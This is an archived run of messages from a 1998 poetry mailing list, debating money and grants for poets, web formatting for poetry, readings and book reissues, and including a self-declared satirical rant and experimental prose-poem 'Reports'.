Mon 5 Oct 1998

I realize I'm coming to this late, & this isn't really geared to any particular message, but I find it hard to believe that so much passion & angst can be raised about grants, awards, contests, judges, etc. I mean, I don't exactly see a connection between accumulation of money & improved writing among poets who win anything.

Anselm Berrigan

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129. louis stroffolino
Re: money for poets
Mon 5 Oct 1998

Hey, Anselm, I may agree with you....
but do you not see a connection between "improved writing"
and having MORE TIME to write, and look back over one's writing, etc.?
just curious.....
c

On Mon, 5 Oct 1998, Poetry Project wrote:

> *I realize I'm coming to this late, & this isn't really geared to any particular message, but I find it hard to believe that so much passion & angst can be raised about grants, awards, contests, judges, etc. I mean, I don't exactly see a connection between accumulation of money & improved writing among poets who win anything.*
>
> *Anselm Berrigan*

↑ Index

130. james perez
html and poetry
Mon 5 Oct 1998

in august(?) the best way of getting poetry on the web was discussed and gifs/jpegs were brought up...I promised to bring addresses for gif/jpg-crunching programs that would lead to better load times

here's what a friend suggested

www.boxtopsoft.com (mac and pc)
www.sitejazz.com (mac only I think)

haven't used them yet, but both sites offer demo downloads, and I personally have a clear conscience in using demos indefinitely for non-profit (or anti-profit) projects; but if you are going the profit route the products are fairly cheap

and to anyone out there scanning the stuff in, remember to downsample your scans, screens are only 72 dpi (what a fool I am/was)

jperez

_____
Get Your Private, Free Email at http://www.hotmail.com

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131. Tom Beard
Re: money for poets
Mon 5 Oct 1998

> *Hey, Anselm, I may agree with you....*
> *but do you not see a connection between "improved writing"*
> *and having MORE TIME to write, and look back over one's writing, etc.?*
> *just curious.....*

Yes, winning $100 in a competition is not going to improve one's writing by much, but getting a few grand for a grant, major award or fellowship could let one devote a few months to writing, which should help a little bit.

And some people try to make a living from writing: a friend of mine does so, and even a few dollars here and there make valuable additions to the scraps of royalties, grants and review fees that she gets. I don't think we're talking about "accumulation of money" in this case.

Even for poets with well-paying day jobs, a small award might help them take their writing more seriously (as much due to the recognition as for the dough), perhaps taking a month off to polish up a manuscript.

Tom Beard.

> > I realize I'm coming to this late, & this isn't really geared to any
> > particular message, but I find it hard to believe that so much passion
&
> > angst can be raised about grants, awards, contests, judges, etc. I
mean,
> > I don't exactly see a connection between accumulation of money &
improved
> > writing among poets who win anything.
> >
> > Anselm Berrigan
> >

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132. Aldon Nielsen
L.A. reading Reminder
Mon 5 Oct 1998

Susan Wheeler (she of _Smokes_ and _Bag 'o' Diamonds_ and the LIST) reads at Loyola Marymount University

7:30 Tuesday 10/6
McIntosh Center in Sullivan Hall

Los Angeles 7900 Loyola Blvd.

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133. MAYHEW
time bought borrowed or stolen
Mon 5 Oct 1998

Is time bought to write better than time stolen or borrowed? I'm all for giving grants to poets, even though poets will write with or without them. I admire the effort to piece together a living from poetry.

My idea was to become an academic (not in an English dept.) in order to support myself as a poet. But I woke up one day to discover that I had become an academic instead* of a poet. So about 10 months ago, about the same time I joined the list, I redefined myself as a poet. I will still write literary criticism in my "field" (and not in a perfunctory way) but I have reverted back to my original plan. In fact this was a new year's resolution. I have still not "come out of the closet" about this to everyone I know; perhaps that is for 1999.

Some people believe that "Beauty is a rare thing / so few drink at its fountain." According to this line of thinking you might have whole centuries in certain countries where no good poetry is written. The alternative is the idea that

beauty is not at all rare. The best 100 Romanian poets contain all of poetry, so that someone knowing only Romanian (or Finnish) could have a perfectly full life (poetically speaking) without knowing any other languages or relying on translations. This was Borges' idea, and I believe it (or find it comforting) on some level. So who votes for "rare beauty" and who votes for Romania?

My best to all of you,

Jonathan

↑ Index

134. Matt Kirschenbaum
Re: html and poetry
Mon 5 Oct 1998

It's true that most of the monitors out there today won't give you anything more than 72 dpi, but like everything else in the computer industry screen resolutions will improve in time. And, depending on the subject matter and your purposes, there may be archival value to scanning the poetry at a much higher resolution, say 300 dpi. (This is a common, indeed low-end, benchmark in the digital library community.) You can always throw away information once you have it, but it'd be a shame for the only record of someone's work to be a low-res. digital facsimile. It all depends on your needs.

Not to nit-pick James's advice, just to offer another set of considerations.

Also, it occurs to me that maybe a useful project/service for the EPC would be to draw up a set of guidelines/recommendations for this sort of thing? Matt

> *in august(?) the best way of getting poetry on the web was discussed and gifs/jpegs were brought up...I promised to bring addresses for gif/jpg-crunching programs that would lead to better load times*
>
> *here's what a friend suggested*
>
> *www.boxtopsoft.com (mac and pc)*
> *www.sitejazz.com (mac only I think)*
>
> *haven't used them yet, but both sites offer demo downloads, and I personally have a clear conscience in using demos indefinitely for non-profit (or anti-profit) projects; but if you are going the profit route the products are fairly cheap*
>
> *and to anyone out there scanning the stuff in, remember to downsample your scans, screens are only 72 dpi (what a fool I am/was)*
>
> *jperez*

> *Get Your Private, Free Email at http://www.hotmail.com*

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135. **Dorothy Trujillo**
Re: San Francisco Spicer celebrations
Mon 5 Oct 1998

Hey Kevin:

Hope you and Peter and everyone has a great time at the launch--I've been following the reviews of both books! Peter Culley and I were hoping for more information on Friday's 'more elaborate affair', such as---who in particular is reading what one poem of Spicer's each, or has it not yet been worked out? Not that either of us would be able to actually get DOWN there or anything --- just being snoopy.

XXXDorothy Trujillo Lusk
<[redacted]>

At 09:36 PM 10/4/98 -0700, you wrote:
>Hi everyone, this is Kevin Killian. To launch our books "Poet Be Like God:
>Jack Spicer and the San Francisco Renaissance," and "The House that Jack
>Built" (Jack Spicer's collected lectures), Lew Ellingham, Peter Gizzi and I
>are having a double event in San Francisco. This Tuesday October 6 City
>Lights Books is having a book party for us (7:00 p.m.) . . . 261 Columbus
>Avenue at Jack Kerouac Alley.
>
>On Friday November 6 there will be a more elaborate affair in which many
>who knew and worked with Jack Spicer, and who now find themselves
>"characters" in our biography, will meet and read one poem apiece by
>Spicer. This event will be held at Yerba Buena Center for the Arts, 701
>Mission Street at Third Street in San Francisco; it's co-sponsored by Yerba
>Buena Center for the Arts' "In Conversation Series" in conjunction with
>their forthcoming exhibit "Ecotopia," and by Small Press Traffic, part of
>its year-long examination of the "New American Poetry" anthology. That's
>at 7:30, seating extremely limited, call (415) 978-ARTS (Yerba Buena Center
>Box Office) for more information--or watch this space.
>
>So if you're in town on either of these nights, come on by and give me the
>secret poetics list handshake . . . Thanks, Kevin K.

>
>

↑ Index

136. **Laura E. Wright**
Re: judging time bought borrowed or stolen
Mon 5 Oct 1998

MAYHEW wrote:

> *Is time bought to write better than time stolen or borrowed? I'm all for giving grants to poets, even though poets will write with or without them. I admire the effort to piece together a living from poetry.*
>
> *Some people believe that "Beauty is a rare thing / so few drink at its fountain." According to this line of thinking you might have whole centuries in certain countries where no good poetry is written. The alternative is the idea that beauty is not at all rare. The best 100 Romanian poets contain all of poetry, so that someone knowing only Romanian (or Finnish) could have a perfectly full life (poetically speaking) without knowing any other languages or relying on translations. This was Borges' idea, and I believe it (or find it comforting) on some level. So who votes for "rare beauty" and who votes for Romania?*

1) I vote for Romania. But that's not to discount the copious quantities of un-great work in all media in all times.

2) The whole contest issue (I'm catching up on e-mails) is difficult. One one hand, why condemn a judge who asks a friend or student whose work they like to enter? And certainly, I can't condemn a student whose teacher or former teacher likes his/her work. On the other hand, what a waste indeed to enter a pre-determined contest. I believe it is the entrant's right and responsibility to have some idea what kind of contest it is before sending in money and work. And it's the judges' responsibility to do his/her job and read everything, not just what they're predisposed to.

I came to the poetry world from the music world, which still seems much worse to me. Contests -- and auditions -- are much more expensive (added costs such as accompanist, clothes, transportation, the instrument itself, time to practice) and rarely anonymous. In addition, your neighbors hate you. What a joy to be able to write at 3 AM.

What we _really_ need is patrons. Wealthy, open-minded ones, and plenty to go around.
And some substitute for sleep.

Still hmming,
Laura W.
--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan
* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

137. Susan Schultz
Re: Laura (R) Jackson
Mon 5 Oct 1998

Elizabeth--I'll do my best to send a Riding Jackson report, though there will be some delay (for travel!).

Susan S.

↑ Index

138. David Baratier
better than html & poetry
Mon 5 Oct 1998

This is a real good deal perhaps someone here can use it. I know of one ISP that is offering free monthly internet access however they require a one time fee of their software($99) and a one time fee for set-up($20). After that it's 100% free unlimited access. They currently have 1,000 cities on-line with over 300 pop sites. Check to see if your city is listed on their web site http://www.freewwweb-access.com/freeweb.cgi?=1469-4.

Be well

David Baratier

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139. BETSY ANDREWS

Re: Kyle's didactics / Rachel's energy

Mon 5 Oct 1998

I'm arriving late into this conversation, but having known Rachel's writing pre-Naropa, I have to second the fact that Rachel's poetics weren't purchased in Colorado. Look, Rachel has a mind. She can think for herself. She's really creative.

I'm sure the same can be said about anyone on this list, although perhaps not always quite as enthusiastically.

I'm very enthusiastic about Rachel's poetics. I'm also very enthusiastic about Rachel's performance which, yes, is full of energy, which--in my book--is a big compliment.

Did anyone ever consider that rolled eyeballs are a response to a lackluster performance?

Does ANYONE really want to be pigeonholed?

On that note, I don't agree with Rachel that her work is, in fact, totally didactic. It moves me. It's not totally anything, thank goodness. Isn't anything that is totalizing totally frightening?

Why would anyone apologize for their own didacticism, or their own anything, for that matter?

Wouldn't it be refreshing to just read the work as best we can and let the audience think and groove for themselves?

May all the world's rhetorical questions cut like icebreakers through so much poetic rhetoric,
betsy

> From: Laura E. Wright <[redacted]>
> To: [redacted]
> Subject: Re: Kyle's didactics / Rachel's energy
> Date: Wednesday, September 30, 1998 1:03 PM
>
> Jordan Davis wrote:
>
> > Also, with all this talk about didacticism and Kyle's enjoyable stance
> > Rachel's wild funny thoughtful reading seems to have been set aside --
do
> > writers come out of schools? Rachel seems recognizably _of_ Naropa, in
that

> > she's much more interested in accumulating energy than in dispelling it with
> > asides and remarks, but there's critical thought along with the joy -- is
> > this all hooey I'm saying? maybe, anyway, looking forward to further
> > readings and writings from Kyle and Rachel -- Jordan
>
> Still here at Naropa, I have to say that Rachel's work is very different from
> most of what goes on here. Rachel arrived at Naropa with her
> wild-funny-thoughtfulness and took it with her when she left. Would that there
> were a little more of it still around. But I'll take advice from her any day.
>
> Re. this idea of schools, I think a good school would be one that didn't produce
> writers identifiable with that particular school. Otherwise, it's more like a
> machine.
>
> Cranking out Naropa poetry,
> Laura W.
>
> --
> Laura Wright
> Library Assistant
> Allen Ginsberg Library, The Naropa Institute
> 2130 Arapahoe Ave
> Boulder, CO 80302
> [redacted]
> * * * * * *
> "All music is music..." -- Ted Berrigan
> * * * * * *
> "It is very much like it" -- Gertrude Stein

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140. Hugh Steinberg
Re: New American Poetry reissue
Tue 6 Oct 1998

I believe California will be putting it out this summer (June?). Small Press Traffic is planning a slew of events to commemorate the re-issue.

Hugh Steinberg

David Kellogg writes:

> *Is there a reissue of Donald Allen's _The New American Poetry_ planned? I don't mean the revised version called _The Postmoderns_; I mean the original 1960 book? I thought I heard of such a thing (perhaps from California). Can anybody give me information (release date etc.)? Thanks.*

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141. Hugh Steinberg
Re: money for poets
Tue 6 Oct 1998

Not to sound immodest, but being in the second year of a Stegner fellowship, I'd like to weigh in here.

The chief benefits have been: 1. Enabling me to move to the Bay area. 2. Allowing me the time to volunteer with Small Press Traffic and do some decent work for them. 3. Allowing me the opportunity to live on a part time job in one of the more expensive parts of the country. 4. Access to a nice fat university library and plenty of time to read. 5. A foothold back into the academic world (especially being allowed to teach college classes and middle school students, especially being able to sit in on some pretty interesting classes and not have to pay for them). 6. Time to write. Time to write. Time to write.

Considering I was working as an office temp and a proofreader for an accounting firm reading audit reports 40 hours a week prior to getting this fellowship, I'm more than grateful for all the opportunities it's given me.

Granted, I was able to do most of those things I listed as benefits while I lived in Chicago and had a day job. But believe me, things are a lot easier with a fellowship than without one. There should be more of them.

The reason people claw over grants and awards isn't because of a desire to accumulate money, they just want to accumulate time.

Hugh Steinberg

> *Hey, Anselm, I may agree with you....*
> *but do you not see a connection between "improved writing"*
> *and having MORE TIME to write, and look back over one's writing, etc.?*

> *just curious.....*
>
> *Yes, winning $100 in a competition is not going to improve one's writing by much, but getting a few grand for a grant, major award or fellowship could let one devote a few months to writing, which should help a little bit.*
>
> *And some people try to make a living from writing: a friend of mine does so, and even a few dollars here and there make valuable additions to the scraps of royalties, grants and review fees that she gets. I don't think we're talking about "accumulation of money" in this case.*
>
> *Even for poets with well-paying day jobs, a small award might help them take their writing more seriously (as much due to the recognition as for the dough), perhaps taking a month off to polish up a manuscript.*
>
> *Tom Beard.*
>
> *I realize I'm coming to this late, & this isn't really geared to any particular message, but I find it hard to believe that so much passion &*
> *angst can be raised about grants, awards, contests, judges, etc. I mean,*
> *I don't exactly see a connection between accumulation of money & improved*
> *writing among poets who win anything.*
>
> *Anselm Berrigan*

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142. **Mark DuCharme**

Re: Judging

Tue 6 Oct 1998

Carlo,

Sorry I didn't get the joke the first time, but you must admit you're pretty dead-pan. This one's even better-- & I appreciate the political ire.

Take care,

Mark DuCharme

>It was a joke, man. I thought Joe was right on, but needs to cut down on
>his caveats.
>

>But let's play. Poetry has greater "stature" now that it has been
>removed from the streets and resides in the academy which of course is
>more respectable. This new respectability, largely a product of the
>emphasis placed on civic values and the importance of one's own
feelings
>characteristic of the Neo-Georgian School, has encouraged people from
>all walks of life to "make their little poems" as Rod Jellema is fond
of
>putting it. Ted Turner and Michael Milke(m) write poetry, as does
>Secretary of Defense Cohen, Jeanne Kirkpatrick and Caspar Weinberger.
>Former CIA Director William Colby published a collection of short
lyrics
>entitled Swimming Lessons published by Reader's Digest. The late, great
>king of military psy-ops, Edward Landsdale is said to have attempted an
>epic poem in the style of Vergil embracing the entire history of
>Southeast Asia.
>
>When I purchased part of Paul Linebarger's library, the author of
>Psychological Warfare and one of iits major practitioners, I found
>"little poems" dealing with the quaint domestic conundrums of life
among
>Washington's social set like whether he should sit Sukarno's widow next
>to Richard Helms at a dinner party. These little literary bon mots, as
>Michael Dirda of the Washington Post would undoubtedly describe them,
>were wedged in the pages of books on techniques for psychological
>torture, a technique in and of itself that would have intrigued Hannah
>Arendt.
>
>Whittaker Chambers was a poet as was Harry Truman's handler, Jimmy
>Byrnes. A document recently released as FOIA #10345, reveals that 38%
of
>the veterans of the Phoenix Program published books of poetry (albeit
>mostly with obscure vanity presses) within 10 years of termination of
>service so convincing a technique among the criminally sanctioned has
>been the Confessional School, the precursor of the New-Georgians.
Norman
>Schwarzkopf writes love sonnets and villanelles, a fact that would have
>really upset his daddy, a former bagman for the DIA.
>
>There are whole schools of poetry that I'm certain you know nothing
>about. There is the Los Alamos School, the Richard Dailey Memorial
>Democratic Machine School, the Pinkerton School, the Madison Avenue

>School, the Hollywood School, the Manifest Destiny School, the Veterans
>of Foreign Wars School (a big school; very sentimental), the School of
>the Americas, the Chicago School, the Navy Seals school; I could go on
>and on, ad nauseam. But they all have one thing in common; they write
>like Gerald Stern. Now that's serious influence. That's "STATURE".
>
>So how can you question poetry's current "stature". Bill Cohen can
adopt
>the liberal, do gooder ethos in a poem he's writing from his vacation
>home on Monday and fly in on Tuesday just in time to have his handlers
>tell him how to handle a lethal airstrike or police action. Poetry has
>such incredible "stature" now because it's so flexible. You can say
>nothing and insist you're doing it in the name of left-wing radicalism,
>even Marxism. You can establish a white middle class, college educated
>income between $27,500 and $78,000 per annum,
>I'm-so-full-that-I'm-empty-I-have-to-tell-the-world-about-it profile
for
>poetry then uncritically apply it as a universal standard like "free
>market democracies", "technological revolutions", "20% return on your
>investments" and other such fictions. Christ, that fucker Robert Hass
>did that very thing in his little, kitty litterature box in the Book
>World of today's sad and sorry Washington Post The brutal, colonial
>history of the Philippines was reduced to that Neo-Georgian sentimental
>drivel and then praised and supported with whitey's prizes, fellowships
>and grants; the same blood money that some of my friends here on the
>list lust after. Read that poor pathetic excuse for a prize-winning
poem
>and you just smell the stench of oppression. "Returning a Borrowed
>Language" or whatever the anthology is called, my ass. Can't wash all
>those murders off with that Neo-Georgian technique. Doesn't wash of.
>Can't even burn it off.
>
>So Mark. That is what I mean by "stature". The power to be part of
>murderous institutions and at the same time claim to be confronting
>them. When I defended some elements of the social science community
>Soakl, Gross & Levitt on this list, all I got was ignorant rancor which
>amounted to a blind defense of those same institutions. In that case as
>it turned out, the stink went right back to Richard Mellon Scaife and
>other defenders of the money.
>
>I'm reminded of the words of another poet here in Washington. The
lapsed

>Jesuit, misogynist, T.V. pundit John McLaughlin. Big Loud John once
>said, "Whores? Whores!? We're all whores! But I'm the whore with the
>T.V. show!!" See, all we lack is the fucking ratings.
>
>Thanks, for the setup Mark. I got a migraine and can't read anyway.
>As for Amato. I mentioned his name to The Family. I think he knows what
>I mean. The Jimmy Hoffa School.
>Mark DuCharme wrote:
>>
>> C. Parcelli wrote:
>>
>> >I resent Mr. Amato's harsh and impolitic remarks. How could poetry
have
>> >achieved its current stature within the culture at large without
>> >compromise?
>>
>> While I appreciate the need to compromise for the sake of realism or
>> politesse, I'm just wondering what kind of "current stature" you
think
>> poetry has achieved. Hmm, maybe we ought to try _less_ compromise;
from
>> the point of view of visibility or popularity (which, I'll be the
first
>> to acknowledge, are not the only or necessarily even the most valid
>> yardsticks), poetry doesn't seem to have much stature within the
culture
>> AT LARGE at all.
>>
>> & Personally, I didn't feel Joe was being so harsh & impolitic... but
>> then again, I can sympathize with his point of view, however much it
is
>> true in the end that capitulations have to be made...
>>
>> --Mark DuCharme
>>
>> _____
>> Get Your Private, Free Email at http://www.hotmail.com
>

_____
Get Your Private, Free Email at http://www.hotmail.com

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143. A. Jenn Sondheim
Reports
Tue 6 Oct 1998

Report

Cisco Systems advertises the worldwide economy, stating that every fourth person on the Web is buying something right now; Cisco Systems has a stake in those numbers signing up every second. IBM has a stake in a shrinking world with technological solutions for everyone representing national characteristics easily recognizable as other. Wired talks about the world coming together presumably with good old boy American know-how and exper- tise. Pipelines are beginning to flow with promises of the Next Big Thing which turned out not to be push technology - so it wasn't quite time to throw away your browser. Anger builds even among those who are franchised, watching from the plateglass window. Net art engorges on itself; the poli- tics of talk replaces the talk of politics. Caress the wires with bigger seductions than old-fashioned pyramid schemes or other blunders; spam has already caught on, delivering more and more personal messages tailored to our vulnerabilities. Hacking has become both commonplace and preposterous as political; while the altered symbol or webpage makes big news, nothing happens except some league scores points for itself on IRC. Starvation and homelessness are hardly virtual, and what really goes down those pipelines are encrypted orders for nuclear fuel wallowing around the marshes of the old USSR - don't doubt it for a second. The reordering of the world has already begun, and won't be stopped by hackers or cultural works carving out territories of speech, manifesto, and protest. Better pack your bags, and I have just the website for you - order your luggage now. - Jennifer

---

Report on Not Taking a Weatherman

It doesn't take much to see the biochemical and nuclear demise of the world as we know it; the crust will survive, some lifeforms. The human cultural process might be nearing its end, strangled by those very wires supposed to bring us all together. Virtual ghosts rise in the nodes; routers are concerned with passing emissions that don't quite fit the definition of packet. Sometimes the wires themselves end up coated with ectoplasm, remnants of beings not-quite-us traversing the skein. I'd say pull out, but the increasingly fine mesh or raster ensures that pullout's impossible; even our local outer space isn't immune from ranked orders skittering back and forth, taking ghostly emanations with them. Oddly- shaped noctiluminescent clouds fill the sky; lavender-orange lightnings dance with the usual strokes. The stars are certain to keep their counts with everyone watching with wide-field telescopy. You have to be a sensi- tive to hear the murmurs in the air, subterranean sounds emitted by a very dangerous

future far too close at hand. It's not only the viruses, the small bombs, the landmines, the worthless currency - it's not even the principles of the _thing_ which begins to darken ontology itself. It's what's always surrounded us, what's always been invisible - it's the plague of avatars, seminal disturbances - you can't quite figure them into the equations, can you. It's not what the hacker did; it's what the hacker didn't mean to do, and it's what the gun thought and the bomb pondered. And it's not the hacker, nor the man with the trigger; it's the vapors in the air, it's what the animals do, what the plants are thinking of doing. When we are loose, we are very very loose, and when we are bad, we are bad in deed. - from Julu, buried beneath the ground

---

Many Reports

Multiculturalism's a lie; you can't reconstruct yesterday even in your own country. Giving you a spectrum of cultures and histories is just that - more theories, words, commodities, tourisms, "appreciations." I DON'T WANT TO BE APPRECIATED - I want to be seen as other, to be incomprehensible, just like you are to yourself, like you should be. All translation is a lie, mistranslation; the only thing we understand together is the movement of missiles from one country to another, either by land, or by air - armed - on fire - coming on fast. There's no escape; nobody wants to admit to radical incomprehension; more than ever, the world's supposed to be one big book, admittedly of many languages, but the smile of Manunkind behind them all. I, Daishin Nikuko, refuse to be part of all of this; I'll go down with the rest of you - my physiology's the same, but not much else. You won't even understand my final words, even if you could speak the language. There's no language big enough for any of us. I look at you and see: strangers. I look at myself and see: strangers. I'm the last honest person - and you won't understand that either - I'm the only one who knows that the world's expanding, not contracting - making way for the Big Deal that will kill us all. - Daishin Nikuko

---

Report from Appearance

It's clear that universal psychosis is setting in, in both the metaphoric and literal senses; I can no longer perceive the difference between myself and my avatars, let loose on my unsuspecting miniature world. Do not, for an instant, doubt that this is yours as well; that we are all losing Soul and Substance day by day, hour by hour, second by second. Fantasms begin to rule everywhere, to speak where others have spoken before - to speak as if others had no voice, no memory, no history. They're differentiated from the rest of us by ectoplasmic secretions, by states of continual arousal, by shadows blurred by penumbras of indefinite extent. They are fed by acid rain, noise splattered across satellite

dishes, stratospheric gouges permitting deadly rays to reach the surface of the planet. I am real and they are more real than I am. "I am" is a front for them. And they might ask me to say that if it were psychosis, I would not be allowed to speak, and if it were psychosis, there would not be these _true-scientific_ and _exacting-logical_ processes, observable by everyone: these atmospheric flows bringing contagion of cold money and soft flesh, suppurations and information wars, harsh words made from harsher constitutions. For acids shall not erase them, nor magnetic fields dissolve their innate beings, as we have known from certain experiment. We are spent-nuclear; "we are a poor troupe, hardly suitable for your entertainment, and we dance from, not to, our graves. La la la la la." Need I add that I'm forced to speak like this, because of our ingracious _medium?_ - Alan

---

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144. Peter Quartermain

Re: New American Poetry reissue

Tue 6 Oct 1998

California is definitely bringing this out, with the addition of a new essay by Don Allen. The date is still not fixed. 1998 is POSSIBLE; 1999 seems a shade more likely.

Peter

At 10:44 PM 10/5/98 -0600, you wrote:
>I believe California will be putting it out this summer (June?). Small
>Press Traffic is planning a slew of events to commemorate the re-issue.
>
>Hugh Steinberg
>
>David Kellogg writes:
>
>>Is there a reissue of Donald Allen's _The New American Poetry_ planned? I
>>don't mean the revised version called _The Postmoderns_; I mean the original
>>1960 book? I thought I heard of such a thing (perhaps from California).
>>Can anybody give me information (release date etc.)? Thanks.
>
+ +

Peter Quartermain
846 Keefer Street
Vancouver

B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ +

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145. Loss Pequen~o Glazier
Fwd: Re: html and poetry
Tue 6 Oct 1998

> *Also, it occurs to me that maybe a useful project/service for the EPC would be to draw up a set of guidelines/recommendations for this sort of thing? Matt*

Yes, a great idea. If anyone is interested in working on such a set of guidelines for the EPC we would very much be interested in putting this sort of information up.

Electronic Poetry Center
http://writing.upenn.edu/epc

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146. L. MacMahon and T.R. Healy
Re: time bought borrowed or stolen
Tue 6 Oct 1998

---

from [redacted]

> From: MAYHEW <[redacted]>

. But I woke up one day to discover that I had
> become an academic instead* of a poet. So about 10 months ago, about the
> same time I joined the list, I redefined myself as a poet. I will still
> write literary criticism in my "field" (and not in a perfunctory way) but
> I have reverted back to my original plan. In fact this was a new year's
> resolution. I have still not "come out of the closet" about this to
> everyone I know; perhaps that is for 1999.

While I do not consider someone's being an academic to be in any sense a tragic loss of human potential, I found myself doing a spot of cheering and arm-waving on reading this. WELL DONE!

And let the closet open as it lists, there's a balance between being upfront and inflicting snippets of biography on innocent bystanders. (Though this remark is I suppose a piece of stray autobio on my part. I kept zipped about writing poetry for years, then when my daughter went to school I realised that the very best publicity firms should be entirely staffed by five year olds.)

PS your exercises are really smoking!

Randolph Healy

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147. Michael Magee
Re: money for poets
Tue 6 Oct 1998

Jumping in ahead of Anselm b/c question is juicy: no, I don't see a connection. At least not one consistent enough to hang an argument on. I'll take one O'Hara lunch poem over fifty thousand poems produced at Yaddo (apologies to all list-members/yaddo-attenders). My own experience says that poems produced on the run, over a cup of coffee and a cheeseburger, or in the car during a conversation, or in the half-hour between classes, or on one's employer's computer when supposedly working on the Smuckers account, often come out better and more interesting than the one built on "emotion recollected in tranquility." Now, of course, you can be worked to death in detriment to your poetry, but that stereotypically European sense of "why doesn't the culture support its artists by giving them great amounts of "free" time to produce their great works - well, I don't know, it just doesn't seem to play out historically when I take account of the writers I really love - I think of Williams and his magic dashboard & prescription pads! Now that's writing! -m.

According to louis stroffolino:
>
> Hey, Anselm, I may agree with you....
> but do you not see a connection between "improved writing"
> and having MORE TIME to write, and look back over one's writing, etc.?
> just curious.....
> c
>
> On Mon, 5 Oct 1998, Poetry Project wrote:
>
> > I realize I'm coming to this late, & this isn't really geared to any
> > particular message, but I find it hard to believe that so much passion &
> > angst can be raised about grants, awards, contests, judges, etc. I mean,
> > I don't exactly see a connection between accumulation of money &

improved
> > writing among poets who win anything.
> >
> > Anselm Berrigan
> >
>

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148. Billy Little
Re: rimbaud & the hoho
Tue 6 Oct 1998

---

i thought it was a crack in time
and Rimbaud was hollering his head off hello
to let us know he's here right here listening in
and allen's is hoho one of the poetries has his interest
maybe his slaves hoho recite jennifer as he reclines on the sette with his monkey ho ho and his sifter repolishing his firearms hoho recocking his pistolettas behind his turqouise eyelids hoho and if you want to hear more from him hoho you're going to have to write poems hoho in which he'd even be caught dead hoho hollaring between the lines jest l'autre cocolat, ettonnez-moi!

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

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149. Sylvester Pollet
Re: money for poets
Tue 6 Oct 1998

> *I think of Williams and*
> *his magic dashboard & prescription pads! Now that's writing! -m.*

Michael--Yeah, but didn't he hit a pole & break Flossie's neck? Great writing-at-the-wheel vs. great driving?

drive, he sd, for
christ's sake, look
out where yr going

best, Sylvester

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150. charles alexander
help??
Tue 6 Oct 1998

Sorry about the personal note here. But I have a very good friend, young artist (20-something), grad of Cal. College of Arts & Crafts, female, in San Francisco who needs a new place to live. Anybody looking for roommates out there, or know of others looking for roommates? please backchannel only to me at [redacted] and I'll forward information to my friend.

thanks,

charles
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

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151. R.Gancie/C.Parcelli
Re: rimbaud & the hoho
Tue 6 Oct 1998

Billy Little wrote:
>
> i thought it was a crack in time
> and Rimbaud was hollering his head off hello
> to let us know he's here right here listening in
> and allen's is hoho one of the poetries has his interest
> maybe his slaves hoho recite jennifer as he reclines on the sette with his
> monkey ho ho and his sifter repolishing his firearms hoho recocking his
> pistolettas behind his turqouise eyelids hoho and if you want to hear more
> from him hoho you're going to have to write poems hoho in which he'd even
> be caught dead hoho hollaring between the lines jest l'autre cocolat,
> ettonnez-moi!
>
> billy little

> 4 song st.
> nowhere, b.c. V0R1Z0
>
> Go ahead and say something true
> before the big turd eats You
> You can say any last thing in Your poem.
>
> -Alice Notley
Who[]e, Who[]e.

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152. R.Gancie/C.Parcelli
Re: Judging
Tue 6 Oct 1998

You gotta laugh to keep from cryin'.

Die laughin'.---Carlo
Mark DuCharme wrote:
>
> Carlo,
>
> Sorry I didn't get the joke the first time, but you must admit you're
> pretty deadpan. This one's even better-- & I appreciate the political
> ire.
>
> Take care,
>
> Mark DuCharme
>
> >It was a joke, man. I thought Joe was right on, but needs to cut down
> on
> >his caveats.
> >
> >But let's play. Poetry has greater "stature" now that it has been
> >removed from the streets and resides in the academy which of course is
> >more respectable. This new respectability, largely a product of the
> >emphasis placed on civic values and the importance of one's own
> feelings
> >characteristic of the Neo-Georgian School, has encouraged people from
> >all walks of life to "make their little poems" as Rod Jellema is fond
> of
> >putting it. Ted Turner and Michael Milke(m) write poetry, as does

> >Secretary of Defense Cohen, Jeanne Kirkpatrick and Caspar Weinberger.
> >Former CIA Director William Colby published a collection of short
> lyrics
> >entitled Swimming Lessons published by Reader's Digest. The late, great
> >king of military psy-ops, Edward Landsdale is said to have attempted an
> >epic poem in the style of Vergil embracing the entire history of
> >Southeast Asia.
> >
> >When I purchased part of Paul Linebarger's library, the author of
> >Psychological Warfare and one of iits major practitioners, I found
> >"little poems" dealing with the quaint domestic conundrums of life
> among
> >Washington's social set like whether he should sit Sukarno's widow next
> >to Richard Helms at a dinner party. These little literary bon mots, as
> >Michael Dirda of the Washington Post would undoubtedly describe them,
> >were wedged in the pages of books on techniques for psychological
> >torture, a technique in and of itself that would have intrigued Hannah
> >Arendt.
> >
> >Whittaker Chambers was a poet as was Harry Truman's handler, Jimmy
> >Byrnes. A document recently released as FOIA #10345, reveals that 38%
> of
> >the veterans of the Phoenix Program published books of poetry (albeit
> >mostly with obscure vanity presses) within 10 years of termination of
> >service so convincing a technique among the criminally sanctioned has
> >been the Confessional School, the precursor of the New-Georgians.
> Norman
> >Schwarzkopf writes love sonnets and villanelles, a fact that would have
> >really upset his daddy, a former bagman for the DIA.
> >
> >There are whole schools of poetry that I'm certain you know nothing
> >about. There is the Los Alamos School, the Richard Dailey Memorial
> >Democratic Machine School, the Pinkerton School, the Madison Avenue
> >School, the Hollywood School, the Manifest Destiny School, the Veterans
> >of Foreign Wars School (a big school; very sentimental), the School of
> >the Americas, the Chicago School, the Navy Seals school; I could go on
> >and on, ad nauseam. But they all have one thing in common; they write
> >like Gerald Stern. Now that's serious influence. That's "STATURE".
> >
> >So how can you question poetry's current "stature". Bill Cohen can
> adopt
> >the liberal, do gooder ethos in a poem he's writing from his vacation

> >home on Monday and fly in on Tuesday just in time to have his handlers
> >tell him how to handle a lethal airstrike or police action. Poetry has
> >such incredible "stature" now because it's so flexible. You can say
> >nothing and insist you're doing it in the name of left-wing radicalism,
> >even Marxism. You can establish a white middle class, college educated
> >income between $27,500 and $78,000 per annum,
> >I'm-so-full-that-I'm-empty-I-have-to-tell-the-world-about-it profile
> for
> >poetry then uncritically apply it as a universal standard like "free
> >market democracies", "technological revolutions", "20% return on your
> >investments" and other such fictions. Christ, that fucker Robert Hass
> >did that very thing in his little, kitty litterature box in the Book
